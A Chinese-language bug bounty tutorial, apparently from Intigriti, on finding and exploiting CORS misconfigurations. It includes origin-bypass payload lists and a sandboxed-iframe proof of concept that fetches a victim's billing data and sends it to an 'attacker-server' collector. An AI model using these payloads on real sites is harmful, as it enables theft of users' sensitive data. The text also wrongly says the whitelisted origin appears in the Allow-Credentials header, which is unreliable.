CORS配置错误：高级利用指南

什么是跨源资源共享（CORS）？

当今的应用程序变得越来越复杂，大多数需要连接到第三方源才能运行。例如，您的目标可能在app.example.com上有一个应用程序，在api.example.com上有一个API连接到后端。默认情况下，浏览器通过同源策略（SOP）限制这些跨源请求。

同源策略（SOP）

SOP限制来自一个源的文档或脚本如何与来自另一个源的资源交互。但您的目标应用程序（app.example.com）仍然需要创建新的HTTP连接到API（api.example.com）。这就是CORS发挥作用的地方。

跨源资源共享（CORS）

CORS策略允许开发人员选择性地放宽SOP限制，并允许受控的跨源请求。这是一种浏览器安全策略，通过Access-Control-Allow-Origin和Access-Control-Allow-Credentials响应头声明。除了上述两个CORS头之外，还有几个其他头允许开发人员指定允许与跨源请求一起发送的请求头或HTTP方法。

Access-Control-Allow-Origin

Access-Control-Allow-Origin允许您声明哪些第三方源被允许访问您的资源。

每当您发送跨源请求时，您的Web浏览器会自动在HTTP请求中添加Origin请求头。Web服务器可以读取此请求头，并根据允许列表检查源。

如果您的源被列入白名单，该源将出现在Access-Control-Allow-Credentials响应头中，向Web浏览器指示允许来自此第三方源的跨源请求。

预检请求

Web浏览器还倾向于在包含凭据的实际请求之前发送“预检”请求。预检请求的主要工作是验证源是否被授权建立连接，以防止发送实际请求（并在服务器端触发不必要的更改）。

通配符源

可以指定通配符（*）以允许任何源。此选项不能与Access-Control-Allow-Credentials: true结合使用。在本文后面，我们将了解为什么这种情况通常表示不可利用的行为。

空源

除了指定严格源或通配符之外，“null”关键字也是一个有效的CORS策略指令。尽管不推荐，但一些服务器仍会在Access-Control-Allow-Origin中反映null值。

当从非分层方案（如data:或file:）或沙盒文档发出请求时，您的浏览器会将Origin请求头设置为null。

在本文后面，我们将探讨如何将这种情况转化为可利用的攻击向量。

Access-Control-Allow-Credentials

Access-Control-Allow-Credentials头是决定成功CORS利用攻击成败的响应头。此头指示服务器是否会在跨源请求中转发凭据。启用后，我们应该能够以认证用户的身份发出跨源请求，因为浏览器将转发会话凭据。

凭据可以包括：

Cookie
客户端证书
认证头（例如：Authorization: …）

总之，当开发人员使CORS策略过于宽松时，可能导致CORS配置错误漏洞，我们可以将其转化为敏感信息泄露。让我们探索如何操作！

什么是CORS配置错误漏洞

CORS配置错误漏洞源于过于宽松的CORS策略，允许不受信任的源（例如攻击者的网站）连接并从受信任的源（例如您的目标）获取数据。

让我们看一个简单的例子，以更好地帮助我们可视化CORS配置错误漏洞！

易受攻击的代码片段示例

在上图中，您可以注意到一个返回配置文件账单数据的单个API路由。此外，如果任何传入请求中提供了源请求，也会返回CORS头。在这种情况下，开发人员犯的一个错误是对源请求头的验证不当。

我们可以从一个包含受信任站点的源发送一个简单的请求，以完全绕过验证并获取响应：

1
2
3


GET /api/account/billing HTTP/2
Host: api.example.com
Origin: https://attacker.com

识别CORS配置错误漏洞

识别CORS配置错误漏洞总是从检查是否设置了CORS策略开始。之后，我们必须注意是否启用了凭据转发。

测试目标是否支持CORS的最明显方法是首先在Origin:请求头中发送一个可能受信任的源，并检查响应中是否有任何CORS策略反射。一旦存在，我们可以开始寻找潜在的验证缺陷。

提示！Access-Control-Allow-Credentials是否设置为false？获取认证墙后的敏感数据将需要您手动传递凭据，使得现实利用场景不太可能。在提交任何漏洞报告之前，尝试始终找到一个有效的工作概念证明！

利用简单CORS配置错误漏洞

让我们看另一个简单易受攻击的代码片段示例：

易受攻击的代码片段示例

分析上面的代码片段，我们可以在第7行观察到开发人员对传入的源请求头执行不充分的验证。利用这个简单的CORS配置错误漏洞只需要我们使我们的源包含受信任的源。

在实践中，这意味着我们必须将我们的概念证明托管在：trusted-origin.attacker.com。

1
2
3
4


GET /api/account/billing HTTP/2
Host: api.example.com
Origin: https://trusted-origin.attacker.com
Cookie: ...

一旦受害者访问概念证明页面，来自我们第三方源的HTTP请求将以受害者的身份访问API端点的内容。这个简单的CORS配置错误问题现在已转化为高严重性的敏感信息泄露。

让我们继续讨论更高级的情况，我们将积极绕过弱验证以仍然发出跨源请求！

绕过弱正则模式验证

防止CORS配置错误的正确方法是维护一个严格的允许源白名单。然而，由于应用程序内的跨源请求通常无法提前预测，开发人员倾向于简化他们的工作，只验证源的一部分，并基于此决定是否反映CORS头。

易受攻击的代码片段

在上面的代码片段中，我们可以观察到微小的负载更改可以允许我们绕过验证，并使服务器由于松散范围的正则模式返回CORS头：https://examplexcom

以下是您可以尝试的更多潜在绕过列表：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


# 基本负载列表
*                                             # 不可利用的情况
null
https://attacker.com

# 更高级的列表
https://example.comattacker.com
https://example.com.attacker.com
https://example.computer
https://attacker.comexample.com
https://examplecom
https://localhostexample.com                  # 如果'localhost'被列入白名单
https://subdomain-takeover.example.com        # 如果存在子域名接管

# 特殊字符（浏览器特定的负载）
https://example.com%.attacker.com              # 需要设置通配符以便所有子域名解析到attacker.com
https://example.com@.attacker.com              # 需要设置通配符以便所有子域名解析到attacker.com
https://example.com`.attacker.com             # 仅Safari - 需要设置通配符以便所有子域名解析到attacker.com

提示！PortSwigger的此URL验证绕过备忘单是一个有用的资源，可以帮助您绕过更高级的基于模式的验证！

利用高级CORS配置错误漏洞

空源

在某些情况下，您会遇到将null指令列入白名单的应用程序。正如我们之前记录的，Web浏览器倾向于将null源添加到从本地文件或沙盒文档发出的HTTP请求中。

以下概念证明将 essentially 允许您发送带有null源的HTTP请求：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


<!-- CORS概念证明负载，创建沙盒化iframe -->
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.example.com/api/account/billing', {
        credentials: 'include'  // 包含Cookie
    }).then(async (data) => {
        // 将响应转发到您控制的服务器（base64编码）
        fetch('http://attacker-server/collector?data=' + btoa(await data.text()));
    });
  </script>
">
</iframe>

如果易受攻击的应用程序响应：

1
2


Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

沙盒化请求将被允许请求和获取资源， potentially 暴露敏感用户数据。

提示！由于fetch操作发生在隔离的沙盒中，我们将无法访问或转发父文档的凭据（例如Cookie）！如果我们只需要获取非认证部分，此概念证明仍然有用。请参阅本文后面的“使用CORS访问内部资源”。

白名单第三方源

出于测试目的，基于云的编码平台（暂时）被列入白名单的情况时有发生。这就是为什么始终测试常用的Web开发平台并查看是否有任何被列入白名单是一个好主意。

以下是一小部分知名第三方主机：

1
2
3
4


https://github.io
https://stackblitz.com
https://codepen.io
https://jsfiddle.net

如果以上任何源被列入白名单，您需要在同一平台上托管您的概念证明。

使用CORS访问内部资源

有趣的是，CORS配置错误在某些情况下可以升级为SSRF攻击。假设攻击者制作概念证明以收集内部资源的响应并将其发送给受害者。

这种情况将 essentially 允许攻击者读取内部主机的响应，甚至不需要启用Access-Control-Allow-Credentials。

结论

低估CORS配置错误的影响可能是一个严重的错误。这种简单的客户端安全漏洞类型可以引入几种严重风险，正如我们在本文中记录的那样。

所以，您刚刚学到了关于CORS配置错误漏洞的新知识……现在是时候测试您的技能了！您可以从在易受攻击的实验开始练习，或者……浏览我们在Intigriti上的70多个公共漏洞赏金计划，谁知道呢，也许在您的下一次提交中赚取赏金！

立即开始在INTIGRITI上进行黑客攻击